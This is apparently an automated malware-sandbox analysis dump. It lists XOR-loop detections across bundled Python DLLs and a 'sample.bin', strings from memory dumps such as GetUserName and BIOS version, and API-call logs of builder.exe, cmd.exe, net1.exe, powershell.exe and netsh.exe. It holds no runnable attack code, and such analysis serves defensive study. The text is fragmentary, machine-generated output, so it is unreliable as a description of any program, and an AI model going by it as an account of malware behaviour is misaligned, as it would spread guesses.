XOR loop in file "sqlite3.dll" at offset 28282; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 28950; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 275625; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 303160; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 429162; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 511461; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 550771; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 5411; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 44181; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 63884; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 87462; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 114321; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 149245; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 222917; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 234544; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 235666; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 508807; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 542496; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 615677; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 618543; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 618790; code bytes = 8030 Found XOR loop in file "libssl-1_1.dll" at offset 54465; code bytes = 30d0 Found XOR loop in file "libssl-1_1.dll" at offset 75283; code bytes = 30d0 Found XOR loop in file "libssl-1_1.dll" at offset 80865; code bytes = 30d0 Found XOR loop in file "libssl-1_1.dll" at offset 122557; code bytes = 30d0 Found XOR loop in file "libssl-1_1.dll" at offset 168706; code bytes = 33c1 Found XOR loop in file "libssl-1_1.dll" at offset 94050; code bytes = 8030 Found XOR loop in file "libssl-1_1.dll" at offset 200445; code bytes = 8030 Found XOR loop in file "libssl-1_1.dll" at offset 203285; code bytes = 8030 Found XOR loop in file "libssl-1_1.dll" at offset 203532; code bytes = 8030 Found XOR loop in file "VCRUNTIME140.dll" at offset 63532; code bytes = 33c1 Found XOR loop in file "VCRUNTIME140.dll" at offset 100833; code bytes = 33c1 Found XOR loop in file "Camera.exe" at offset 18265; code bytes = 33c1 Found XOR loop in file "libffi-7.dll" at offset 19196; code bytes = 8030 Found XOR loop in file "libffi-7.dll" at offset 22055; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 169638; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 8763; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 223680; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 144456; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 286973; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 289840; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 290087; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 21121; code bytes = 33c1 Found XOR loop in file "_decimal.pyd" at offset 37597; code bytes = 33c1 Found XOR loop in file "_decimal.pyd" at offset 57891; code bytes = 33c1 Found XOR loop in file "_decimal.pyd" at offset 60396; code bytes = 33c1 Found XOR loop in file "_decimal.pyd" at offset 98557; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 101424; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 101671; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 5629; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 8450; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 17890; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 39463; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 51934; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 78589; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 81455; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 81702; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 25027; code bytes = 30d0 Found XOR loop in file "_ssl.pyd" at offset 23459; code bytes = 33c1 Found XOR loop in file "_ssl.pyd" at offset 37966; code bytes = 33c1 Found XOR loop in file "_ssl.pyd" at offset 30734; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 54525; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 57391; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 57638; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 2016; code bytes = 33c1 Found XOR loop in file "_ctypes.pyd" at offset 22144; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 50429; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 53295; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 53542; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 22667; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 42237; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 45104; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 45351; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 11115; code bytes = 33c1 Found XOR loop in file "_bz2.pyd" at offset 40189; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 43055; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 43302; code bytes = 8030 Found XOR loop in file "_socket.pyd" at offset 35069; code bytes = 8030 Found XOR loop in file "_socket.pyd" at offset 37936; code bytes = 8030 Found XOR loop in file "_socket.pyd" at offset 38183; code bytes = 8030 Found XOR loop in file "_hashlib.pyd" at offset 26365; code bytes = 8030 Found XOR loop in file "_hashlib.pyd" at offset 29232; code bytes = 8030 Found XOR loop in file "_hashlib.pyd" at offset 29479; code bytes = 8030 Found XOR loop in file "_queue.pyd" at offset 17149; code bytes = 8030 Found XOR loop in file "_queue.pyd" at offset 20016; code bytes = 8030 Found XOR loop in file "_queue.pyd" at offset 20263; code bytes = 8030 Found XOR loop in file "select.pyd" at offset 17149; code bytes = 8030 Found XOR loop in file "select.pyd" at offset 20015; code bytes = 8030 Found XOR loop in file "select.pyd" at offset 20262; code bytes = 8030 Found XOR loop in file "tinyaes.cp310-win_amd64.pyd" at offset 8172; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 261903; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 353310; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 369948; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 401747; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 485060; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 486377; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 689161; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 785035; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 820287; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 841133; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 996094; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1129199; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1143809; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1181223; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1268254; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1346056; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1353421; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1378628; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1407835; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1485966; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1602781; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1669033; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1841895; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1867796; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1941165; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1963353; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1977192; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2024092; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2044915; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2050497; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2092204; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2262452; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2367951; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2391730; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2401931; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2643357; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2688341; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2705422; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2708465; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2744209; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2794458; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2808496; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3010621; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3023059; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3210435; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3263347; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3334753; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3349934; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3369356; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3379902; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3517893; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3542668; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3598557; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3679945; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3725564; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3785656; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3888682; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3955121; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4139458; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4236377; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4328686; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4418506; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4462803; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4467774; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4784503; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4893403; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4898333; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4943537; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4999494; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5189079; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5406783; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5504127; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5535234; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5581239; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5650298; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5727149; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5736070; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5756514; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5980791; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5998646; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6066464; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6215851; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6310783; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 43504; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 356294; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 372940; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 417885; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 435982; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 494527; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 512344; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 528825; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 549124; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 551629; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 576107; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 610765; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 636251; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 657829; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 670305; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 698412; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 727829; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 772945; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 790051; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 818719; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 878859; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 955867; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 985436; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1039018; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1052306; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1096681; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1149693; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1195012; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1207701; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1231403; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1259291; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1344454; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1439440; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1561675; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1589239; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1605245; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1638707; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1645551; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1646568; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1654984; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1789431; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1822312; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2158654; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2422056; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2449957; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2468281; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2484630; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2487269; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2533156; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2574049; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2791240; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2830006; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2856098; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2968494; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3010172; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3044872; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3375196; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3433219; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3441049; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3489213; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3528287; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3555256; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3595683; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3758658; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3851543; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3873207; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3985183; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4000057; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4015085; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4015753; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4262503; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4290048; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4416090; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4498414; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4537734; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4838560; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5050101; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5061903; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5073910; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5329807; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5329954; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5388961; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5931555; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5948220; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5952663; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6024532; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6114131; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6131711; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6144781; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6162090; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 261553; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 348173; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 462186; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 485059; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 767529; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 825994; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 848714; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 875601; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 997978; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1149828; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1161507; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1176034; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1289719; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1320017; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1321313; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1339678; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1379701; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1385957; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1502636; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1624115; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1644690; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1728953; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1871065; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1954432; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1968987; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1976393; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2063687; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2172454; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2183012; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2246156; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2262451; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2399296; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2471435; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2605191; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2606227; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2628577; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2729009; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2797794; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2869773; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2907697; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2909185; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2984670; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2988598; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3049662; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3127873; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3290910; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3319902; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3472380; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3486140; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3566572; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3767283; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3866424; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3881810; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4030989; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4050697; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4074285; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4101149; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4136088; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4209780; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4221412; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4222534; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4495755; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4529459; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4759311; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4917263; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5389143; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5421675; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5496642; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5608168; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5643800; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5714962; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5754102; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5755783; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5768314; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5865277; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5884405; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5918855; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5943284; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5958384; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5960709; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5980790; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6058255; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6132203; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6177852; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6240050; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6321729; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6322764; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6325834; code bytes = 80302e:T47d,Found string "etUserNameW" (Source: "00000000-00001004.00000000.176645.14880000.00000004.mdmp") Found string "etUserNameA" (Source: "00000000-00002000.00000000.176672.49F50000.00000004.mdmp") Found string "etUserNameExW" (Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found string "etUserNameW" (Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found string "UserName" (Source: "00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp, 00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found string "Win32API|System Information Functions|GetUserName" (Source: "00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp") Found string "SMBIOSBIOSVersion" (Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found string "BIOSVersion" (Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found string "GetUserNameExW" (Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found string "The credential consists of both Password and UserName being supplied together in a pair." (Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp")2f:T1622,"builder.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005028) "builder.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005028) "builder.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007276) "builder.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000005f9811b4f87f0000508912b4f87f0000c08445a854010000101349b4f87f00000000000000000000ffffffffffffffffd06c3fc250000000ffffffffffffffffb06c3fc250000000b03b3aa854010000789111b4f87f00000800000000000000080000000000000080322eb4f87f000098a011b4f87f00000800000000000000df8911b4f87f0000ffffffffffffffffbe5e0db4f87f0000c08d46a854010000606c3fc25000000097e3a7f9a979000030eb3da854010000706d3fc25000000070da33a854010000607f25a65401000060322eb4f87f00000000000000000000d03a27a654010000f0d648b4f87f0000698811b4f87f0000a0da33a8 (UID: 00000000-00007276) "builder.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007276) "builder.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007276) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000744) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000744) "net1.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001732)30:T5e1,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000049004e004700500052004f00460049004c0045003d004400450053004b0054004f0050002d004600560056004600380032004100000055005300450052004e0041004d0045003d00480041005000550042005700530000005500530045005200500052004f00460049004c0045003d0043003a005c005500730065007200 (UID: 00000000-00001004) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000020000903ff749ab020000e02bf549ab020000d038f549ab020000d038f549ab020000d048f549ab02000020a4f549ab0200000100f549ab020000000000000000000000000000000000009800000001020000000000000000000043003a005c00570049004e0044004f00570053005c00530059005300540045004d003300 (UID: 00000000-00002000) "netsh.exe" called "GetVersionExA" with parameter 